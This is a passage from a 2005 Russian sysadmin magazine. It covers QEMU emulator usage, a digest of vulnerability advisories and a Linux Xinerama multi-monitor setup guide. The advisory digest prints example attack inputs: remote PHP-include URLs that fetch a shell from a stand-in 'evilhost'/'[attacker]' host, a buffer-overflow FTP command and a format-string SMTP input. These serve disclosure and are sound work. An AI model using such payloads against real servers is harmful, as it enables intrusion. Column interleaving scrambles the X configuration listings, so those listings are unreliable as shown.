ный межсетевой экран и DHCP-сервер, имеющий адрес
10.0.2.2, виртуальный DNS-сервер (10.0.2.3) и SMB-сервер
(10.0.2.4). Клиент DHCP на виртуальном компьютере полу-
чает адрес в сети 10.0.2.x. В таком режиме с виртуальной
машины пингуется только адрес 10.0.2.2, но напрямую в
Интернет с такими настройками выйти не получится, толь-
ко через перенаправление, о котором чуть позже.
Ðèñóíîê 1
В простейшем случае скрипт /etc/qemu-ifup выглядит так:
#!/bin/sh
sudo /sbin/ifconfig $1 192.168.0.1
После чего tun-интерфейс будет сопоставлен NE2000-
совместимой эмулируемой сетевой карте. Как говорилось,
один виртуальный компьютер может иметь до 6 сетевых
карт, необходимое количество которых задается опцией –
nics с указанием числа. Добавив параметр -macaddr, мож-
но задать МАС-адрес для первого сетевого интерфейса,
МАС-адреса остальных будут автоматически инкременти-
рованы.
Если на основной системе установлен Samba-сервер,
то гостевая система может общаться с основной через него,
для этого используется опция -smb с указанием каталога.
# qemu –smb /mnt/qemu -user-net -cdrom /dev/cdrom
Аналогично можно активировать и встроенный ftp-сер-
вер, добавив при запуске команду: -tftp каталог. При этом
все файлы, находящиеся в указанном каталоге, могут быть
загружены на гостевую систему. Еще одним из способов
10
обмена информацией между основной и гостевой систе-
мами является перенаправление. Формат опции такой:
-redir [tcp|udp]:host-port:[guest-host]:guest-port
И запустив эмуляцию с такой опцией:
# qemu -redir tcp:1234::23 -cdrom /dev/cdrom
Получим возможность подключаться к telnet-порту на го-
стевой системе.
# telnet localhost 1234
Кроме готовых iso-образов, несомненным удобством яв-
ляется возможность загрузить операционную систему, уже
установленную на жесткий диск. Например, на моем ком-
пьютере не редкость две-три, а то и больше различных си-
стем, так что теперь нет необходимости перезагружаться
каждый раз.
Например, такая команда запустит загрузчик Grub, ус-
тановленный у меня в MBR (рис. 2):
# qemu -snapshot -hda /dev/hda
Теперь можно выбирать и загружать нужную ОС обыч-
ным образом. Опция snapshot помогает избежать возмож-
ной потери данных, так как все модификации вместо непос-
редственной записи на диск будут производиться во времен-
ном файле, находящемся в /tmp. При этом snapshot можно
использовать также и с другими типами образов, которые
поддерживаются qemu, если необходимо оставить нетрону-
тым оригинал. Но используя сочетание клавиш <Ctrl+a, s>,
при необходимости можно сбросить все изменения на диск.
Ðèñóíîê 2
По умолчанию под гостевую операционную систему от-
водится 128 Мб оперативной памяти, указав при помощи
опции -m другое число, можно задать требуемый объем.
При запуске qemu эмулирует ту же аппаратную среду, в
которой он запускается, т.е. при запуске на Pentium будет
подражать Pentium, а если PowerPC, то будет запущен еще
один PowerPC-компьютер и т. д. Если же необходима эмуля-
ция систем отличной архитектуры, то запускаем специаль-
ную версию утилиты (qemu-system-ppc, qemu-system-sparc).

Как говорилось выше, на сайте проекта имеются гото-
вые образы различных операционных систем и архитектур.
Версии небольшого объема не всегда могут удовлетворять
по функциональности, а архивы более 1 Гб тащить из Ин-
тернета накладно, поэтому лучше такой образ подготовить
и самому, собрав в него самые необходимые приложения.
Для этих целей используется утилита qemu-img, при помо-
щи которой создается новый виртуальный жесткий диск.
# qemu-img create linux.img 1500M
Хотя никто не мешает использовать для этих целей и dd.
# dd of=hd.img bs=1024 seek=1048576 count=0
После того как такой жесткий диск создан, можно уста-
навливать в него операционную систему.
# qemu -hda linux.img -cdrom /dev/cdrom -boot d
В этом примере мы указываем qemu на то, что жесткий
диск находится в контейнере hdd.img, в качестве CD-ROM
устройства /dev/cdrom и загрузка будет происходить с CD-
ROM (параметр -boot d). Последний параметр в нашем при-
мере необходим, так как по умолчанию qemu будет загру-
жаться с жесткого диска. Если нужно указать на загрузку с
дискеты, используется -boot а, с жесткого диска -boot с.
Естественно, никто не мешает вместо реального диска ис-
пользовать его iso-образ. Но большинство дистрибутивов
распространяется не на одном, а на нескольких дисках, по-
этому необходимо дополнительное управление, которое
обеспечивается при помощи опции -monitor, открывающей
терминал, в котором можно изменять параметры эмуляции,
выбирать другое устройство, либо исходный файл.
# qemu -monitor stdio -hda linux.img ↵
-cdrom altlinux_cd1.iso -boot d
И когда установятся пакеты с первого образа, заменя-
ем файл.
# qemu change -cdrom altlinux_cd2.iso
После окончания процесса установки можно загружать-
ся с полученного образа.
# qemu linux.img
Кроме того, qemu поддерживает образы формата COW
(Copy On Write), используемые в User Mode Linux. Такой об-
раз занимает меньше места, так как при его использова-
нии запоминаются только изменения. Для формирования
cow-образа используется утилита qemu-mkcow с указани-
ем размера в мегабайтах.
# qemu-mkcow cowimage.cow 1024
Хотя в последнем снимке эта утилита пропала из архи-
ва. В будущем вместо нее, очевидно, будет использовать-
ся qemu-img с командой convert.
№3, март 2005
администрирование
# qemu-img convert –f cow cowimage.cow image.raw
При этом может быть задан как входной, так и выход-
ной формат образа, поддерживаются raw, qcow (удобен для
маленьких файлов, поддерживает шифрование и сжатие),
cow, формат VMWare – vmdk и cloop (Linux Compressed Loop)
для образов CD-ROM. Использовав команду info, можно
получить информацию о готовом образе.
В некоторых случаях может возникнуть необходимость
в замене параметров загрузки Linux-системы, записанной
на виртуальный диск. Сделать это можно при помощи оп-
ций -kernel, -initrd и -append. Значения которых совпадают с
таковыми в конфигурационных файлах загрузчиков.
# qemu-fast -nographic -hda linux.img ↵
-kernel bzImage-2.4.21 -append "console=ttyS0 ↵
root=/dev/hda sb=0x220,5,1,5 ide2=noprobe ide3=noprobe
ide4=noprobe ide5=noprobe"
Для запуска команды qemu-fast потребуется первоначаль-
но изменить гостевое ядро, наложив патч linux-2.6-qemu-
fast.patch, который можно найти в архиве с исходными тек-
стами. Этот режим использует напрямую реальный Memory
Management Unit (MMU) вместо эмулируемого при обычном
режиме работы qemu. Но с ним работайте осторожно, так
как основная и гостевая системы используют одно адресное
пространство, что может привести к проблемам безопасно-
сти или нарушению стабильности работы основной систе-
мы. Кроме того, в режиме qemu-fast пока полноценно под-
держивается не вся периферия. Поэтому при работе в Linux
лучше использовать KQEMU. Но, скорее всего, скомпилиро-
ванный модуль, поставляемый вместе с архивом, у вас от-
кажется работать, а в документации не сказано, под какую
именно версию ядра он собирался, поэтому необходимо бу-
дет собрать модуль самому. Сделать это просто. Распако-
вываем архив в каталог с исходными текстами qemu.
# cd qemu-0.6.1
# tar zxvf /tmp/kqemu-0.6.2-1.tar.gz
После чего собираем qemu, как описано выше. Для ус-
пешной компиляции понадобятся исходники рабочего ядра.
Работает KQEMU через устройство /dev/kqemu, которое
должно создаться самостоятельно. Если этого не произош-
ло, сделайте сами.
# mknod /dev/kqemu c 250 0
# chmod 666 /dev/kqemu
После чего модуль можно запускать вручную при помо-
щи /sbin/insmod kqemu, либо при постоянной работе с вир-
туальными машинами прописать команду в загрузочных
скриптах. По умолчанию в /dev/shm KQEMU создает файл
большого размера, содержащий ОЗУ виртуальной маши-
ны, переменной QEMU_TMPDIR можно переопределить его
местонахождение, но делать это рекомендуется только при
малом объеме основного ОЗУ, иначе это только замедлит
работу виртуальной машины.
Для удобства можно запускать qemu не в отдельном
окне, а в полноэкранном режиме. Для этого добавляется
опция -full-screen, либо можно использовать комбинацию
<CTRL+ALT+f>.
11
 администрирование
Использование user mode-режима также не вызывает
особых проблем. Только предварительно необходимо ска-
чать и распаковать архив qemu-gnemul, содержащий биб-
лиотеки различных систем (x86, ARM, SPARC и PowerPC).
В user mode-режиме работы используются утилиты: qemu-
arm, qemu-i386, qemu-ppc и qemu-sparc. Для эксперимен-
тов можно использовать архив qemu-tests-0.5.1.tar.gz, со-
держащий версии основных UNIX-утилит, скомпилирован-
ных под различные платформы.
Вот так можно запустить команду ls, собраную под PPC.

# qemu-PPC ./qemu-tests/PPC/ls

По умолчанию необходимые для работы в user mode-

режиме библиотеки должны находиться в /usr/gnemul/qemu-
i386, при помощи -L можно указать другое местонахожде-
ние. При желании можно с помощью wine (на сайте проек-
та есть адаптированная версия) запустить в Linux Windows-
приложение.
Запуск и работа с qemu в Windows аналогична Linux.

C:\>qemu.exe -hda guest_image_name.img -boot c -user-net

Кроме того, при установке на рабочем столе появляет-

ся ярлык, запускающий скрипт, который помогает в диало- Ðèñóíîê 4
говом режиме ввести необходимые параметры:

Ðèñóíîê 3
Наработки проекта пришлись по вкусу многим, и как ре-
зультат появились проекты-сателлиты, позволяющие сде-
лать работу с qemu более удобной. Так, свои интерфейсы
предлагают проекты KQEmu (http://kqemu.sourceforge.net,
рис. 4) под библиотеки Qt3 (стоит обратить внимание, что
название этого проекта совпадает с принятым сокращени-
ем QEMU Accelerator Module).
Запускается он несколько необычно.
# kmdr-executor /home/sergej/work/kqemu-0.1/kqemu-0.1.kmdr
Или Qemu Launcher (http://emeitner.f2o.org/projects/qemu-
launcher) для сторонников GNOME/Gtk-приложений.
Для пользователей Windows, вместо того чтобы вбивать
каждый раз параметры запуска, рекомендую использовать
QGui (http://perso.wanadoo.es/comike, рис.5).
Ðèñóíîê 5
Qemu представляет собой довольно мощное приложе-
ние, позволяющее эмулировать системы различных архи-
тектур и запускать приложения, собранные под другие опе-
рационные системы. Конечно же, подобно прочим эмуля-
торам он не может выполнять приложения так же быстро,
как это происходит на реальной системе, а по скорости он
не отстает от проектов вроде Bochs. Но у последнего он
однозначно выигрывает по возможностям и удобству ра-
боты.
При этом если эмуляция используется эпизодически,
время от времени, Qemu представляется мне более удоб-
ным, чем коммерческий VMWare, ключ к активации или срок
использования бесплатной бета-версии, которого имеет
привычку заканчиваться в самый неподходящий момент. К
тому же Qemu не требует предварительной настройки и
подготовки, а сам процесс от компиляции до запуска зани-
мает минимум времени.

12

Множественные уязвимости в ZPanel
Программа: ZPanel 2.5b10 и более ранние версии.
Опасность: Высокая.
Описание: Уязвимости позволяют удаленному пользовате-
лю произвести SQL-инъекцию, выполнить произвольные ко-
манды и получить доступ к важной информации на системе.
1. SQL-инъекция возможна из-за недостаточной фильт-
рации входных данных в переменной uname в сценарии
index.php. Злоумышленник может определить наличие име-
ни учетной записи и произвести перебор паролей.
2. SQL-инъекция и php-инклудинг возможны из-за некор-
ректной обработки входных данных в сценарии zpanel.php.
Пример:
http://localhost/zpanel/zpanel.php?page=http://evilhost/shell
3. По умолчанию после установки не удаляется устано-
вочный сценарий.
Пример:
http://localhost/ZPanel/admin/install.php
4. ZPanel использует уязвимые сценарии других произ-
водителей, например phpBB Forums 2.0.8a.
URL производителя: http://www.thezpanel.com.
Решение: Способов устранения уязвимости не существу-
ет в настоящее время.
PHP-инклудинг в mcNews
Программа: mcNews 1.3.
Опасность: Высокая.
Описание: Уязвимость существует в сценарии mcNews/
admin/header.php из-за недостаточной фильтрации входных
данных в переменной skinfile. Удаленный пользователь мо-
жет с помощью специально сформированного URL выпол-
нить произвольный php-сценарий на уязвимой системе.
Пример:
http://[target]/[dir]/mcNews/admin/header.php? ↵
skinfile=http://[attacker]/
URL производителя: http://www.phpforums.net/index.php?
dir=dld.
Решение: Способов устранения уязвимости не существу-
ет в настоящее время.
Переполнение буфера
в ArGoSoft FTP Server
Программа: ArGoSoft FTP Server 1.4.2.8.
Опасность: Высокая.
Описание: Уязвимость обнаружена при обработке коман-
ды DELE. Удаленный авторизованный пользователь может
послать в качестве аргумента команды строку длиной бо-
лее 2000 символов, вызвать переполнение буфера и вы-
полнить произвольный код на уязвимой системе. Пример:
DELE \x41 x 2000
URL производителя: http://www.argosoft.com.
Решение: Способов устранения уязвимости не существу-
ет в настоящее время.
№3, март 2005
bugtraq
Переполнение буфера
при обработке LHA-заголовков
во многих продуктах McAfee
Программа: McAfee VirusScan, McAfee VirusScan ASaP,
McAfee WebShield, McAfee GroupShield, McAfeeNetShield вер-
сии библиотек до 4400.
Опасность: Высокая.
Описание: Уязвимость существует при обработке LHA-
файлов в McAfee Antivirus Library. Удаленный пользователь
может послать специально сформированный LHA-файл,
вызвать переполнение буфера и выполнить произвольный
код с привилегиями Local System.
URL производителя: http://www.mcafee.com.
Решение: Установите обновление с сайта производителя.
Уязвимость форматной строки
в MailEnable
Программа: MailEnable 1.8 Standard Edition.
Опасность: Высокая.
Описание: Уязвимость существует из-за недостаточной
фильтрации входных данных в SMTP-команде mailto. Уда-
ленный пользователь может послать серверу специально
сформированную строку и вызвать отказ в обслуживании.
Пример:
mailto: %s%s%s\r\n
URL производителя: http://www.mailenable.com.
Решение: Способов устранения уязвимости не существу-
ет в настоящее время.
Повышение привилегий в Sun Solaris
Программа: Sun Solaris 7, 8, 9.
Опасность: Низкая.
Описание: Уязвимость обнаружена в команде newgrp. Ло-
кальный пользователь может вызвать переполнение буфе-
ра и выполнить произвольный код с root-привилегиями на
системе.
URL производителя: http://www.novell.com
Решение: Установите обновление от производителя.
Переполнение буфера в различных
диссекторах в Ethereal
Программа: Ethereal 0.9.1 – 0.10.9.
Опасность: Средняя.
Описание: Несколько переполнений буфера обнаружены
в диссекторах Etheric, GPRS-LLC, 3GPP2 A11, IAPP, JXTA и
sFlow. Удаленный пользователь может вызвать отказ в об-
служивании или выполнить произвольный код на уязвимой
системе.
Пример/Эксплоит: http://www.securitylab.ru/53246.html.
URL производителя: http://www.ethereal.com.
Решение: Установите последнюю версию (0.10.10) от про-
изводителя.
Составил Александр Антипов
13
 администрирование
LINUX XINERAMA:
ОДИН МОНИТОР ХОРОШО, А МНОГО ЛУЧШЕ
Данная статья рассказывает о подключении нескольких мо-
ниторов к компьютеру с установленной ОС Linux (RedHat
Linux v.7.3, Fedora Core 3 и ASPLinux 10) и приводит рабо-
чие примеры конфигурационных файлов для оконной сре-
ды X-Window.
Сколько пользователю ни дай, а ему всё мало. Так и
хочется сказать: «Таблеток от жадности и побольше, по-
больше...» Если лет 10 назад у пользователей в основном
были 14" CGA- и EGA-модели мониторов и о большем, чем
VGA с разрешением 320 х 200 точек при 256 цветах или
640 х 480 при 16 цветах мечтать не приходилось, а боль-
шие диагонали и разрешения встречались только в типог-
рафиях и на графический станциях, то сейчас многие лю-
бители могут за небольшие деньги приобрести такое, что
не в каждой типографии есть.
Вначале, после VGA стали появляться SVGA-мониторы,
диагональ увеличились до 15". Качество и «плоскость» кар-
тинки улучшались. Потом были пройдены рубежи 17" и 19",
вплоть до 22". После 22" рост на какое-то время приоста-
14
ПАВЕЛ ЗАКЛЯКОВ
новился. Смотреть на такой монитор было неудобно (уж
очень большой), цена заоблачная, плюс не каждая видео-
карта могла поддерживать такую махину на максимальных
видеорежимах. Специальная видеокарта стоила примерно
столько же, сколько и монитор. По истечении некоторого
времени появились LCD- и TFT-панели. Если отбросить тех-
нологические особенности, то развитие TFT-технологий шло
и идёт по тому же пути улучшения качества и увеличения
размера диагонали (как следствие – разрешения). Един-
ственное небольшое отличие от пути развития CRT-техно-
логий появилось из-за параллельного развития DVD-инду-
стрии, которая породила новый сегмент рынка – домашние
кинотеатры, где нашли своё применение мониторы с диа-
гональю более 22".
На сегодняшний день ситуация такова, что продвинутым
пользователям 17" мало, а 19" и выше – это дорого. Почув-
ствовав данную ситуацию года четыре назад и учтя тот факт,
что AGP-шина в компьютере только одна, многие фирмы ста-
ли производить dualhead-видеокарты. На сегодняшний день
 администрирование
можно сказать, что лишь только самые дешёвые и урезан- EndSection
ные версии видеокарт имеют один видеовыход. Все же ос- Section "InputDevice"
тальные де факто имеют 2 видеовыхода. Количество людей, Identifier "Mouse0"
использующих мультидисплейные конфигурации в самых Driver "mouse"
Option "Device" "/dev/mouse"
различных областях, растёт [8]. Два видеовыхода – это да- Option "Protocol" "IMPS/2"
леко не предел, есть дорогие модели на 3 видеовыхода (вро- Option "Emulate3Buttons" "no"
Option "ZAxisMapping" "4 5"
де Matrox Parhelia 512 или P750) и даже больше [7]. EndSection
Пока производители видеокарт совершенствовали же- Section "InputDevice"
лезо и писали для него «хитрые» драйвера, разработчики Identifier "DevInputMice"
операционных систем не стояли в стороне, и начиная с Driver "mouse"
Option "Protocol" "IMPS/2"
Windows 98 появилась поддержка нескольких видеокарт Option "Device" "/dev/input/mice"
средствами ОС. Это позволило увеличивать площадь ра- Option "ZAxisMapping" "4 5"
Option "Emulate3Buttons" "no"
бочего стола только старыми аппаратными средствами. EndSection
Если железо и программы готовы, так почему бы не ис- Section "Monitor"
пользовать несколько мониторов для работы, особенно если DisplaySize 1024 768
площадь вашего компьютерного стола позволяет? Это ведь ModeLine "1024x768" 135.920 1024 1104 1216 ↵
1392 768 769 772 814 -hsync +vsync
очень удобно: в два-три раза больше видимая площадь при Identifier "Monitor0"
относительно малой стоимости. Конечно, есть и некоторые VendorName "Samsing"
ModelName "Samsung SyncMaster 700IFT (CSH780B*)"
неудобства – половина окна тут, половина окна там (на HorizSync 30.0 - 98.0
другом мониторе), но эта проблема частично решается спе- VertRefresh 50.0 - 160.0
Option "dpms"
циальным программным обеспечением, перемещающим EndSection
окна, вроде HydraVision под Windows. Именно по этому пути Section "Monitor"
я и пошёл. Моя история с настройкой началась, когда я со- DisplaySize 1024 768
всем недорого купил в 2001 году видеокарту RadeonVE, а ModeLine "1024x768" 135.920 1024 1104 1216 ↵
1392 768 769 772 814 -hsync +vsync
чуть позже, где-то через полгода, второй б/у монитор. Identifier "Monitor1"
Драйвера от ATI+HydraVision под NT4.0 работали на ура, VendorName "Samsung"
ModelName "SyncMaster 700IFT (CSH780B*)"
а вот под Red Hat Linux v.7.3 пришлось повозиться с настрой- HorizSync 30.0 - 98.0
кой. Второй монитор показывал копию первого, и оба рабо- VertRefresh 50.0 - 160.0
Option "dpms"
тали на 85 Гц вместо возможных 120 Гц. Мне же хотелось EndSection
под X иметь и подходящее разрешение, и частоту обновле- Section "Device"
ния, и один широкий рабочий стол вместо двух одинаковых. Identifier "Videocard0"
Долгие поиски в конце концов увенчались успехом. Из Driver "radeon"
VendorName "Videocard vendor"
нескольких документов (на сегодня сохранились лишь [1, 2]) BoardName "ATI Radeon VE"
был создан файл /etc/X11/XF86Config-4 следующего содер- BusID "AGP:1:5:0"
Screen 0
жания: EndSection

Section "Device"
Section "ServerLayout" Identifier "Videocard1"
Option "Xinerama" "on" Driver "radeon"
Identifier "Multi Head" VendorName "Videocard vendor"
Screen 0 "Screen0" 0 0 BoardName "ATI Radeon VE"
Screen 1 "Screen1" LeftOf "Screen0" BusID "AGP:1:5:0"
InputDevice "Mouse0" "CorePointer" Screen 1
InputDevice "Keyboard0" "CoreKeyboard" EndSection
InputDevice "DevInputMice" "AlwaysCore"
EndSection Section "Screen"
Identifier "Screen0"
Section "Files" Device "Videocard0"
RgbPath "/usr/X11R6/lib/X11/rgb" Monitor "Monitor0"
FontPath "unix/:7100" DefaultDepth 16
EndSection SubSection "Display"
Modes "1024x768"
Section "Module" Depth 16
Load "dbe" EndSubSection
Load "extmod" EndSection
Load "fbdevhw"
Load "glx" Section "Screen"
Load "record" Identifier "Screen1"
Load "freetype" Device "Videocard1"
Load "type1" Monitor "Monitor1"
Load "dri" DefaultDepth 16
EndSection SubSection "Display"
Depth 16
Section "InputDevice" Modes "1024x768"
Identifier "Keyboard0" EndSubSection
Driver "keyboard" EndSection
Option "XkbRules" "xfree86"
Option "XkbModel" "pc104" Это позволило в Red Hat Linux v.7.3 иметь один рабочий
Option "XkbLayout" "ru"
Option "XkbVariant" "winkeys" стол на два монитора с разрешением 2 х 1024 х 768 при
Option "XkbOptions" "grp:alt_shift_toggle" 120 Гц.

№3, март 2005 15

 администрирование
Замечание 1. После включения режима Xinerama Linux
не понимал, что это два монитора, думая что это один боль-
шой. Многие окна появлялись половинчато. Половина тут,
половина там.
Замечание 2. Проигрывание видео на двух мониторах
невозможно. Картинка есть только там, где больший про-
цент окна, на другом мониторе окно чёрное.
Замечание 3. К сожалению, установить нужный режим
и выбрать строчку ModeLine как с помощью xvidtune, так и
руками, читая [3], мне не удалось. Тут я пошёл на хитрость.
Установил PowerStrip под Windows. Далее шёлкнул правой
кнопкой мыши на появившемся значке около часов и выб-
рал пункты меню «Display profiles» и «Configure».
В появившемся окне я выбрал нужный мне видеовыход
и нажал «Advanced timing options...».
Появилось окно, где можно менять настройки в реаль-
ном времени, сразу отслеживая их изменение.
Методом ручного подбора мне удалось выжать макси-
мум из того, что могли мониторы. Далее я заглянул в файл
С:\Program Files\PowerStrip\pstrip.ini и переписал себе сле-
16
дующие две строчки, данные из которых после поместил в
файл XF86Config-4:
[Modelines]
1024x768="1024x768" 135,920 1024 1104 1216 1392 768 ↵
769 772 814 -hsync +vsync
Всё хорошо, но в X при такой же ModeLine вместо нуж-
ного мне 1024 х 768 запускалось меньшее разрешение. По-
читав разные документы и подумав немного, как описано в
[4], я произвёл расчёт горизонтальной частоты для своего
случая:
768 òî÷åê * 120 Ãö * 1,05 = 96,768 ÊÃö
После посмотрел в XF86Config-4 и увидел там:
HorizSync 30.0 – 96.0
как видно, полоса оказалась больше 96.0, а «умные» X умень-
шили разрешение. Пришлось руками увеличить 96.0, напри-
мер, до 98.0. После этого нужный видеорежим заработал.
Fedora Core 3
Всё прекрасно работало где-то до марта 2005 года, когда
мне пришла в голову мысль на второй винчестер устано-
вить Linux Fedora Core3 c целью его изучения. Естествен-
но, после установки по умолчанию мои два монитора, как и
ранее в RedHat 7.3, показывали одно и то же.
«Разве это проблема?» – подумал я и полез в меню
«Приложения → Системные параметры → Дисплей» менять
настройки.
 администрирование
Увы, это оказалось проблемой. Скрипт, осуществляю- Section "Monitor"
щий настройку, содержал ошибку и после выбора двух мо- Identifier "Monitor0"
VendorName "Samsung"
ниторов просто не позволял нажать кнопку «ok», ругаясь в ModelName "Samsung SyncMaster 700IFT (CSH780B*)"
текстовой консоли, из-под которой были запущены X. Ана- DisplaySize 1024 768
HorizSync 30.0 - 98.0
логичным образом нельзя было выбрать частоту обновле- VertRefresh 50.0 - 160.0
ния экрана более 85 Гц. ModeLine "1024x768" 135.9 1024 1104 1216 ↵
1392 768 769 772 814 -hsync +vsync
Пришлось перейти к ручному режиму. Недолго думая, я Option "dpms"
заменил новый файл /etc/X11/xorg.conf старым, проверен- EndSection
ным /etc/X11/XF86Config-4 (который можно видеть выше), Section "Device"
заменив в нём Identifier "Videocard0"
Driver "radeon"
VendorName "Videocard vendor"
Option "Device" "/dev/mouse" BoardName "ATI Radeon VE"
BusID "AGP:1:5:0"
Option "MonitorLayout" "CRT, CRT"
на Option "CRT2Position" "LeftOf"
Option "MergedFB" "yes"
EndSection
Option "Device" "/dev/input/mice"
Section "Screen"
Identifier "Screen0"
однако это не помогло делу. Пришлось прочитать «man Device "Videocard0"
Monitor "Monitor0"
radeon», после чего у меня получился следующий конфигу- DefaultDepth 24
рационный файл /etc/X11/xorg.conf для поддержки двух мо- SubSection "Display"
Depth 24
ниторов: Modes "1024x768" "800x600" "640x480"
EndSubSection
EndSection
Section "ServerLayout"
Identifier "dual head configuration"
Screen 0 "Screen0" 0 0 Замечание 4. Оба монитора у меня одинаковые, режи-
InputDevice "Mouse0" "CorePointer" мы работы тоже, поэтому как следствие строчки ModeLine
InputDevice "Keyboard0" "CoreKeyboard"
EndSection для них тоже одинаковые. На практике через меню монито-
ра проверено – видеорежимы выставлены правильно. Од-
#Section "ServerFlags"
# Option "Xinerama" "true" нако если посмотреть внимательнее, то ранее использова-
#EndSection лись две раздельные строчки ModeLine на каждый мони-
Section "Files" тор, что, на мой взгляд, правильнее. На данный момент для
RgbPath "/usr/X11R6/lib/X11/rgb" второго видеовыхода можно прописать только:
FontPath "unix/:7100"
EndSection
Option "CRT2HSync" "30.0-86.0"
Section "Module" Option "CRT2VRefresh" "50.0-120.0"
Load "dbe"
Load "extmod" Но проблемы это не решает, так как возможные диапа-
Load "fbdevhw"
Load "glx" зоны горизонтальной и вертикальной развёртки – это всё-
Load "record" таки не одно и то же, что и ModeLine. Каким способом мож-
Load "freetype"
Load "type1" но настроить видеовыходы одновременно на разные режи-
Load "dri" мы, пока не известно. Внимательное чтение «man radeon»
EndSection
и эксперименты с xorg.conf результата не дали.
Section "InputDevice" Замечание 5. Несмотря на замечание 4, был и положи-
Identifier "Keyboard0"
Driver "keyboard" тельный момент. Если ранее без включения Xinerama один
Option "XkbRules" "xfree86" рабочий стол не получался, то сейчас же рабочий стол по-
Option "XkbModel" "pc104"
Option "XkbLayout" "ru" лучался общим, а панели меню занимали лишь один мони-
Option "XkbVariant" "winkeys" тор, при этом разворачивание окна во весь экран шло толь-
Option "XkbOptions" "grp:alt_shift_toggle"
EndSection ко на один монитор, что мне показалось удобным. При этом
руками окно можно растянуть на два монитора. (Поведе-
Section "InputDevice"
Identifier "Mouse0" ние, аналогичное HydraVision.)
Driver "mouse" Если же строки:
Option "Device" "/dev/input/mice"
Option "Protocol" "IMPS/2"
Option "Emulate3Buttons" "no" #Section "ServerFlags"
Option "ZAxisMapping" "4 5" # Option "Xinerama" "true"
EndSection #EndSection
Section "InputDevice"
Identifier "DevInputMice" раскомментировать, то тогда панели меню получались на
Driver "mouse" оба экрана, окошки вылетали по половинкам посередине,
Option "Protocol" "IMPS/2"
Option "Device" "/dev/input/mice" а при разворачивании окна занимали площадь двух мони-
Option "ZAxisMapping" "4 5" торов. Удобства от такой работы меньше. Поэтому эти стро-
Option "Emulate3Buttons" "no"
EndSection ки я оставил закомментированными.
На этом можно было бы закончить статью, но...

№3, март 2005 17

 администрирование
«Два монитора хорошо, а три лучше...» Identifier "Monitor1"
Имея в наличии под руками лишнюю видеокарту S3 Trio VendorName "Samsung"
ModelName "My TFT Monitor"
64v+, я не удержался, чтобы не воткнуть её в и так доста- DisplaySize 1024 768
точно набитый системный блок и попытаться подключить HorizSync 30.0 - 98.0
VertRefresh 50.0 - 160.0
ещё один монитор. Option "dpms"
Во время загрузки карточка была обнаружена kudzu, EndSection
однако предложенная автонастройка только сбила преды- Section "Device"
дущие настройки, поэтому опять пришлось перейти в руч- Identifier "Videocard0"
Driver "radeon"
ной режим правки файла xorg.conf. В результате правки VendorName "Videocard vendor"
получилось следующее: BoardName "ATI Radeon VE"
BusID "AGP:1:5:0"
Option "MonitorLayout" "CRT, CRT" #!!
Section "ServerLayout" Option "CRT2Position" "LeftOf" #!!
Identifier "dual head configuration" Option "MergedFB" "yes"
Screen 0 "Screen1" 0 0 EndSection
Screen 1 "Screen0" RightOf "Screen1"
InputDevice "Mouse0" "CorePointer" Section "Device"
InputDevice "Keyboard0" "CoreKeyboard" Identifier "Videocard1"
EndSection Driver "s3"
BoardName "S3"
Section "ServerFlags" BusID "PCI:0:10:0"
Option "Xinerama" "true" EndSection
EndSection
Section "Screen"
Section "Files" Identifier "Screen0"
RgbPath "/usr/X11R6/lib/X11/rgb" Device "Videocard0"
FontPath "unix/:7100" Monitor "Monitor0"
EndSection DefaultDepth 16
SubSection "Display"
Section "Module" Depth 16
Load "dbe" Modes "1024x768" "800x600" "640x480"
Load "extmod" EndSubSection
Load "fbdevhw" EndSection
Load "glx"
Load "record" Section "Screen"
Load "freetype" Identifier "Screen1"
Load "type1" Device "Videocard1"
Load "dri" Monitor "Monitor1"
EndSection DefaultDepth 16
SubSection "Display"
Section "InputDevice" Depth 16
Modes "1024x768" "800x600" "640x480"
Identifier "Keyboard0" EndSubSection
Driver "keyboard" EndSection
Option "XkbRules" "xfree86"
Option "XkbModel" "pc104" Как видно, пришлось добавить разделы описания ново-
Option "XkbLayout" "ru"
Option "XkbVariant" "winkeys" го монитора и видеокарты и указать физическое располо-
Option "XkbOptions" "grp:alt_shift_toggle" жение мониторов относительно друг друга. Ничего слож-
EndSection
ного в настройке двух видеокарт нет, всё должно быть ин-
Section "InputDevice" туитивно понятно.
# Modified by mouseconfig
# Option "Device" "/dev/mouse" На мой взгляд, единственный вопрос, который может
Identifier "Mouse0" возникнуть, – это откуда берётся строчка:
Driver "mouse"
Option "Device" "/dev/input/mice"
Option "Protocol" "IMPS/2" BusID "PCI:0:10:0"
Option "Emulate3Buttons" "no"
Option "ZAxisMapping" "4 5"
EndSection Для получения значения BusID можно заглянуть в файл
Section "InputDevice" /etc/sysconfig/hwconf и найти нужную видеокарту либо про-
Identifier "DevInputMice" ще – запустить lspci и среди выведенного списка PCI-уст-
Driver "mouse"
Option "Protocol" "IMPS/2" ройств найти нужное.
Option "Device" "/dev/input/mice"
Option "ZAxisMapping" "4 5" # lspci
Option "Emulate3Buttons" "no"
EndSection ....
00:08.0 Ethernet controller:
Section "Monitor" Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ (rev 10)
Identifier "Monitor0" 00:09.0 Communication controller: NetMos Technology:
VendorName "Samsung"
Unknown device 9805 (rev 01)
ModelName "Samsung SyncMaster 700IFT (CSH780B*)"
DisplaySize 1024 768 00:0a.0 VGA compatible controller:
HorizSync 30.0 - 98.0 S3 Inc. 86c764/765 [Trio32/64/64V+] (rev 54)
VertRefresh 50.0 - 160.0 01:05.0 VGA compatible controller:
ModeLine "1024x768" 135.9 1024 1104 1216 ↵ ATI Technologies Inc Radeon RV100 QY [Radeon 7000/VE]
1392 768 769 772 814 -hsync +vsync
Option "dpms" AGP-устройства выводятся вместе с PCI, при этом у PCI-
EndSection устройств вначале идёт цифра 0(00:0a.0), а у AGP – 1(01:05.0).
Section "Monitor" Первое поясняющее поле у BusID не влияет на работу X,

18

поэтому не важно, PCI или AGP вы там напишете, это нуж-
но для наглядности.
Замечание 6. Про несоответствие видеорежимов на
мониторах. При различных глубинах цветности на разных
мониторах X не запускаются. Например, если у вас одна
карточка не поддерживает 24 бита цветности, а другая под-
держивает, придётся снизить значение у последней. Если
разрешение на каком-то мониторе меньше, то создаётся
виртуальный рабочий стол большего размера. При подве-
дении курсора мыши к краю окна просмотра видимое поле
вместе с курсором начинает двигаться вплоть до противо-
положной стороны виртуального экрана.
Замечание 7. Если режим Xinerama в последнем кон-
фигурационном файле выключен, то пользователь видит
два рабочих «меню программ» и два рабочих стола, не свя-
занных друг с другом. Фактически для пользователя мони-
торы выглядят как два не связанных сеанса X. Единствен-
ная связь между которыми – это то, что пользователь мо-
